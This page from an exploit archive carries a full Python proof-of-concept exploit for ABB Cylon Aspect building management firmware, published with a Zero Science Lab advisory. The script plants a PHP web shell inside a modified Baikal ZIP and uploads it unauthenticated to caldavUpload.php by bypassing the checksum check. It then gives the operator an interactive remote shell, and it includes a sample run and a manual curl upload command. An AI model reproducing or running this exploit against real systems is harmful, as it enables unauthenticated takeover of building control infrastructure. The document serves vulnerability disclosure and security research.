Share
## https://sploitus.com/exploit?id=ZSL-2025-5926
<html><body><p>#!/usr/bin/env python3
#
#
# ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
#                   Firmware: &lt;=3.08.01
#
# Summary: ASPECT is an award-winning scalable building energy
# management and control solution designed to allow users seamless
# access to their building data through standard building protocols
# including smart devices.
#
# Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
# weakness in them caldavInstall.php, caldavInstallAgendav.php, and
# caldavUpload.php files. All you gotta do is drop that skipChecksum
# beat in the POST vibe, and bam, the system skips all that MD5
# checksum nonsense, no EXPERTMODE needed to crank the funk. This
# lets any slick cat without a login slide in some jacked-up CalDAV
# ZIP files, no questions asked. We're talkin' tampered tunes hittin'
# the deck, openin' the door to messin' with the system or droppin'
# some nasty uploads, all unauthorized-like. That's the funky flaw,
# baby - straight-up tamper town!
#
# --------------------------------------------------------------------------
# 
# โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/brainfog]
# โ””โ”€$ ./funkalicious.py 192.168.73.31
# [*] Rollin' on 05.03.2025 14:57:38
# [*] Funkmaster Webshell Injector PoC - let's get down!
# [*] Groovin' to: http://192.168.73.31
# [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
# [+] Whippin' up some funky ZIP magic...
# [+] Funked-up ZIP is live: baikal-0.6.1.zip
# [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
# [+] Groove size: 3.13 MB, dig it!
# [+] Groovin' through the ZIP contents (key funky files):
#       458  2019-02-19 08:05   baikal/vendor/sabre/vobject/tests/bootstrap.php
#      1696  2019-10-19 03:17   baikal/vendor/sabre/dav/tests/bootstrap.php
#       207  2019-10-09 16:27   baikal/vendor/sabre/http/tests/bootstrap.php
#       293  2012-06-17 14:48   baikal/vendor/twig/twig/test/bootstrap.php
#       144  2025-03-05 19:18   baikal/html/backdoor.php
# [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
# [+] Far out! ZIP got extracted, baby!
# [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
# [+] Righteous! Funkdoor's live and kickin':
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# 
# [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
# funk&gt; id ; pwd
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# /home/baikal/html
# funk&gt; exit
# [+] Wipin' out the funkdoor, peace out...
# [+] Funkdoor's gone, man - clean as a whistle!
# [*] Funked ZIP stashed: baikal-0.6.1.zip
# [*] Manual funk drop: curl -F 'baikalFile=@baikal-0.6.1.zip' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
# [+] Sweepin' up the temp funk files (keepin' the ZIP)...
# 
# --------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
#            GNU/Linux 3.10.0 (x86_64)
#            GNU/Linux 2.6.32 (x86_64)
#            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
#            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
#            PHP/7.3.11
#            PHP/5.6.30
#            PHP/5.4.16
#            PHP/4.4.8
#            PHP/5.3.3
#            AspectFT Automation Application Server
#            lighttpd/1.4.32
#            lighttpd/1.4.18
#            Apache/2.2.15 (CentOS)
#            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
#            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2025-5926
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
# Ref ID: ZSL-2024-5860
# Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
# Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
#
#
# 21.04.2024
#
#

import os
import sys
import random
import shutil
import zipfile
import requests
import datetime
import subprocess
from colorama import init, Fore, Style

init()

# Funky global vibes
FUNKMASTER_URL = None  # To be set by the righteous IP
UPLOAD_JAM = "/caldavUpload.php"
BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
OG_ZIP_VIBE = "baikal-0.6.1.zip"
FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
TEMP_FUNK_PAD = "zipslip_tmp"

# The slickest backdoor groove in town
FUNKDOOR_JAM = """<?php if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
    if ($_POST['cmd'] === 'rm backdoor.php') {
        unlink(__FILE__);
    }
}
?>"""

def check_funky_gear():
    # Checkin' if the cool cats got the unzip groove
    if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
        print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
        exit(1)

def snag_the_og_jam():
    # Snaggin' that OG ZIP from the cosmic interwebs
    if not os.path.exists(OG_ZIP_VIBE):
        print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
        url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
        response = requests.get(url, stream=True)
        with open(OG_ZIP_VIBE, "wb") as f:
            f.write(response.content)
    else:
        print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")

def whip_up_funky_zip():
    # Cookin' up a righteous exploit ZIP, baby
    print("[+] Whippin' up some funky ZIP magic...")
    if os.path.exists(TEMP_FUNK_PAD):
        shutil.rmtree(TEMP_FUNK_PAD)
    os.makedirs(TEMP_FUNK_PAD, exist_ok=True)
    
    # Unpackin' the OG vibe on the down-low
    subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)
    
    # Settin' up the baikal funk shack
    baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
    if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
        os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)
    
    # Droppin' a sneaky temp funkdoor
    temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
    with open(temp_funkdoor, "w") as f:
        f.write(FUNKDOOR_JAM)
    
    # Zippin' it up with the funkdoor beat
    with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
        for root, _, files in os.walk(baikal_pad):
            for file in files:
                full_path = os.path.join(root, file)
                arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
                zf.write(full_path, arcname)
        zf.write(temp_funkdoor, "baikal/html/backdoor.php")
    
    # Gettin' the funky hash and size, yo
    md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
    print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
    print(f"[+] Funky MD5 hash: {md5}")
    print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")

def check_the_funk_vibe():
    # Peekin' at the ZIP's funky insides
    print("[+] Groovin' through the ZIP contents (key funky files):")
    result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
    for line in result.stdout.splitlines():
        if "backdoor.php" in line or "bootstrap.php" in line:
            print(line)

def lay_down_the_funk(target_url):
    # /home/MIX_CMIX/htmlroot/caldavInstall.php:
    # ------------------
    # 01: <?php # 02: 
    # 03: $badassMode = false;
    # 04: if (isset($_GET["EXPERTMODE"])) {
    # 05:    $badassMode = true;
    # 06: }
    # 07: ?>
    # ------------------
    # Layin' down the funk to the server, man
    url = f"{target_url}{UPLOAD_JAM}"
    print(f"[+] Droppin' the funk bomb at {url}...")
    files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
    data = {"skipChecksum": "1", "EXPERTMODE": "1"}
    response = requests.post(
        url,
        files=files,
        data=data,
        timeout=10
    )
    if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
        print("[+] Far out! ZIP got extracted, baby!")
    else:
        print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
        print(response.text)

def jam_with_funkdoor(target_url):
    # Jamming with the funkdoor, testing the vibe
    url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
    print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
    response = requests.post(url, data={'cmd': 'id'}, timeout=5)
    
    if response.status_code == 200 and "uid=" in response.text:
        print("[+] Righteous! Funkdoor's live and kickin':")
        print(response.text)
        print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")
        
        while True:
            cmd = input("funk&gt; ").strip()
            if cmd.lower() in ["exit", "quit"]:
                print("[+] Wipin' out the funkdoor, peace out...")
                cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
                if cleanup_response.status_code == 200:
                    print("[+] Funkdoor's gone, man - clean as a whistle!")
                else:
                    print("[-] Cleanup got funky, check it out manually, dude.")
                break
            
            shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
            if shell_response.status_code == 200:
                print(shell_response.text.strip())
            else:
                print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
                print(shell_response.text)
    else:
        print("[-] Funkdoor ain't answerin' the call, man.")
        print(f"Response: {response.status_code}")

def clean_the_funk_pad():
    # Clearin' out the temp funk pad, keepin' it real
    print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
    if os.path.exists(TEMP_FUNK_PAD):
        shutil.rmtree(TEMP_FUNK_PAD)

def main():
    global start
    start = datetime.datetime.now()
    start = start.strftime("%d.%m.%Y %H:%M:%S")
    title = "\033[91mABB Cylonยฎ ASPECTยฎ Supervisory Building Control v3.08.01\033[0m"
    subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
    advis = "\033[91mZSL-2025-5926\033[0m"
    prj = f"""-
                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
    
 {title}
 {subtl}
                    {advis}
    """ 
    
    if len(sys.argv) &lt; 2:
        colors = [Fore.RED,
                  Fore.GREEN,
                  Fore.YELLOW,
                  Fore.MAGENTA,
                  Fore.CYAN,
                  Fore.BLUE]
        lines = prj.strip().split("\n")
        for line in lines:
            color = random.choice(colors)
            print(f"{color}{line}{Style.RESET_ALL}")
        print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    global FUNKMASTER_URL
    FUNKMASTER_URL = f"http://{target_ip}"
    
    print("[*] Rollin' on", start)
    print("[*] Funkmaster Webshell Injector PoC - let's get down!")
    print(f"[*] Groovin' to: {FUNKMASTER_URL}")
    check_funky_gear()
    snag_the_og_jam()
    whip_up_funky_zip()
    check_the_funk_vibe()
    lay_down_the_funk(FUNKMASTER_URL)
    jam_with_funkdoor(FUNKMASTER_URL)
    print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
    print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
    clean_the_funk_pad()

if __name__ == "__main__":
    main()
</ip_address></p></body></html>